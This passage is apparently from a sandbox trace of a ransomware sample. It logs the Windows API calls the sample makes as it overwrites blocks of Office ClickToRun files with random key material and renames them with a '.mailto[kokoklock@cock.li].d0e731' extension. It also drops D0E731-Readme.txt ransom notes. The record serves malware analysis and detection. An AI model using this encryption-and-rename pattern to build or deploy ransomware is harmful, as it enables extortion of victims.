lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x1773fae8*=0x4096, lpOverlapped=0x0) returned 1 [0073.503] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0073.503] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.503] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1773fae8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1773fae8*=0x4096, lpOverlapped=0x0) returned 1 [0073.508] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x24546, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fdaa8 [0073.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.508] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb18 [0073.508] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb18) returned 1 [0073.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x3482218 [0073.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341efc8 [0073.509] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ecd0 [0073.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ecd0) returned 1 [0073.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.509] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fdaa8) returned 1 [0073.509] WriteFile (in: hFile=0x924, lpBuffer=0x3482218*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1773fae8, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesWritten=0x1773fae8*=0x4096, lpOverlapped=0x0) returned 1 [0073.510] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.510] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x40d8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.510] ReadFile (in: hFile=0x924, lpBuffer=0x33f28e0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1773fae8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesRead=0x1773fae8*=0x4096, lpOverlapped=0x0) returned 1 [0073.550] SetFilePointerEx (in: hFile=0x924, liDistanceToMove=0x40d8d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd628 [0073.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ee88 [0073.550] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ee88) returned 1 [0073.550] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0073.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eaf0 [0073.551] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec58 [0073.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec58) returned 1 [0073.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd628) returned 1 [0073.551] WriteFile (in: hFile=0x924, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1773fae8, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x1773fae8*=0x4096, lpOverlapped=0x0) returned 1 [0073.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0073.551] WriteFile (in: hFile=0x924, lpBuffer=0x341ec30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1773fb44, lpOverlapped=0x0 | out: lpBuffer=0x341ec30*, lpNumberOfBytesWritten=0x1773fb44*=0x20, lpOverlapped=0x0) returned 1 [0073.551] WriteFile (in: hFile=0x924, lpBuffer=0x341efc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1773fb44, lpOverlapped=0x0 | out: lpBuffer=0x341efc8*, lpNumberOfBytesWritten=0x1773fb44*=0x20, lpOverlapped=0x0) returned 1 [0073.551] WriteFile (in: hFile=0x924, lpBuffer=0x341eaf0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1773fb44, lpOverlapped=0x0 | out: lpBuffer=0x341eaf0*, lpNumberOfBytesWritten=0x1773fb44*=0x20, lpOverlapped=0x0) returned 1 [0073.551] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0073.551] WriteFile (in: hFile=0x924, lpBuffer=0x341eb68*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x341eb68*, lpNumberOfBytesWritten=0x1773fb4c*=0x8, lpOverlapped=0x0) returned 1 [0073.552] WriteFile (in: hFile=0x924, lpBuffer=0x1773fb64*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x1773fb64*, lpNumberOfBytesWritten=0x1773fb4c*=0x4, lpOverlapped=0x0) returned 1 [0073.552] WriteFile (in: hFile=0x924, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1773fb4c*=0x4, lpOverlapped=0x0) returned 1 [0073.552] WriteFile (in: hFile=0x924, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1773fb4c*=0x6c, lpOverlapped=0x0) returned 1 [0073.552] WriteFile (in: hFile=0x924, lpBuffer=0x341ebb8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x341ebb8*, lpNumberOfBytesWritten=0x1773fb4c*=0x20, lpOverlapped=0x0) returned 1 [0073.552] WriteFile (in: hFile=0x924, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1773fb4c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1773fb4c*=0x4, lpOverlapped=0x0) returned 1 [0073.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ebb8) returned 1 [0073.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eed8) returned 1 [0073.552] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb68) returned 1 [0073.552] CloseHandle (hObject=0x924) returned 1 [0073.552] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x102) returned 0x33fc9c8 [0073.552] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" [0073.552] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731" [0073.552] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\airspace.etw.man.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.553] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0073.553] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\AirSpace.Etw.man", dwFileAttributes=0x20) returned 0 [0073.553] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x34348f8 [0073.553] wcscpy (in: _Dest=0x34348f8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.553] wcscat (in: _Dest=0x34348f8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.553] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0x20 [0073.553] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34348f8) returned 1 [0073.554] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34318d0) returned 1 [0073.554] RtlExitUserThread (Status=0x1) Thread: id = 596 os_tid = 0x12c8 [0073.469] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml")) returned 0x20 [0073.469] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 1 [0073.470] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0073.470] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x177bfc90 | out: lpFileSize=0x177bfc90*=37360) returned 1 [0073.470] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x91ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.470] ReadFile (in: hFile=0x928, lpBuffer=0x177bfc64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x177bfc64*, lpNumberOfBytesRead=0x177bfc60*=0x4, lpOverlapped=0x0) returned 1 [0073.488] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341efc8 [0073.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ede8 [0073.488] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341ec80 [0073.488] NtQuerySystemTime (in: CurrentTime=0x177bfc3c | out: CurrentTime=0x177bfc3c*=132121176313783949) returned 0x0 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x11d21f49 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xd29fb9ee [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x40fb24cf [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xf292797 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x38c05009 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xb6c2cdc0 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x9bc84312 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x31332098 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xbea0a223 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x32ecc56a [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xeaeabe07 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x82eab20 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x4e8c9fc0 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x7b288d9d [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x83f46a5 [0073.488] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xf1671c82 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xee3590bf [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x2baa0575 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x706fbab [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xbc8e787b [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xba887c4 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xe0678c5c [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x5cdce87d [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x5e60ddcf [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x3a2552a8 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x9c13d7f3 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xff4a428e [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x683516f8 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x3193e0d6 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0xa731c856 [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x6b24022a [0073.489] RtlRandom (in: Seed=0x177bfc48 | out: Seed=0x177bfc48) returned 0x94ae75ab [0073.501] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.501] ReadFile (in: hFile=0x928, lpBuffer=0x3482218, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x177bfc14, lpOverlapped=0x0 | out: lpBuffer=0x3482218*, lpNumberOfBytesRead=0x177bfc14*=0x4096, lpOverlapped=0x0) returned 1 [0073.503] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0073.503] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0073.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb90 [0073.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb90) returned 1 [0073.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34862b8 [0073.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341efc8 [0073.504] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x341eb18 [0073.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eb18) returned 1 [0073.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0073.504] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0073.504] WriteFile (in: hFile=0x928, lpBuffer=0x34862b8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x177bfc14, lpOverlapped=0x0 | out: lpBuffer=0x34862b8*, lpNumberOfBytesWritten=0x177bfc14*=0x4096, lpOverlapped=0x0) returned 1 [0073.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34862b8) returned 1 [0073.505] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x91f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.505] WriteFile (in: hFile=0x928, lpBuffer=0x341efc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x177bfc4c, lpOverlapped=0x0 | out: lpBuffer=0x341efc8*, lpNumberOfBytesWritten=0x177bfc4c*=0x20, lpOverlapped=0x0) returned 1 [0073.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341efc8) returned 1 [0073.505] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482218) returned 1 [0073.505] WriteFile (in: hFile=0x928, lpBuffer=0x341eaf0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x341eaf0*, lpNumberOfBytesWritten=0x177bfc60*=0x8, lpOverlapped=0x0) returned 1 [0073.505] WriteFile (in: hFile=0x928, lpBuffer=0x177bfc78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x177bfc78*, lpNumberOfBytesWritten=0x177bfc60*=0x4, lpOverlapped=0x0) returned 1 [0073.505] WriteFile (in: hFile=0x928, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x177bfc60*=0x4, lpOverlapped=0x0) returned 1 [0073.505] WriteFile (in: hFile=0x928, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x177bfc60*=0x6c, lpOverlapped=0x0) returned 1 [0073.505] WriteFile (in: hFile=0x928, lpBuffer=0x341ede8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x341ede8*, lpNumberOfBytesWritten=0x177bfc60*=0x20, lpOverlapped=0x0) returned 1 [0073.506] WriteFile (in: hFile=0x928, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x177bfc60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x177bfc60*=0x4, lpOverlapped=0x0) returned 1 [0073.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ede8) returned 1 [0073.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341ec08) returned 1 [0073.506] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341eaf0) returned 1 [0073.506] CloseHandle (hObject=0x928) returned 1 [0073.506] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x146) returned 0x341f8c8 [0073.506] wcscpy (in: _Dest=0x341f8c8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" [0073.506] wcscat (in: _Dest=0x341f8c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" [0073.506] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.access.access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0073.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0073.507] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x341f8c8) returned 1 [0073.507] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Access.Access.x-none.msi.16.x-none.xml", dwFileAttributes=0x20) returned 0 [0073.507] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xc4) returned 0x3434dd8 [0073.507] wcscpy (in: _Dest=0x3434dd8, _Source="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\" [0073.507] wcscat (in: _Dest=0x3434dd8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" [0073.507] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt")) returned 0xffffffff [0073.508] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0073.510] WriteFile (in: hFile=0x928, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x177bfc5c, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x177bfc5c*=0x481, lpOverlapped=0x0) returned 1 [0073.511] CloseHandle (hObject=0x928) returned 1 [0073.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3434dd8) returned 1 [0073.511] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0073.511] RtlExitUserThread (Status=0x1) Thread: id = 597 os_tid = 0x12cc [0073.471] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml")) returned 0x20 [0073.472] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml", dwFileAttributes=0x20) returned 1 [0073.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.accessmui.msi.16.en-us.xml" (normalized: "c:\\users\\all users\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.accessmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0073.512] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x1783f938 | out: lpFileSize=0x1783f938*=59164) returned 1 [0073.512] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0xe718, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0073.512] ReadFile (in: hFile=0x928, lpBuffer=0x1783f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1783f908, lpOverlapped=0x0 | out: lpBuffer=0x1783f90c*, lpNumberOfBytesRead=0x1783f908*=0x4, lpOverlapped=0x0) returned 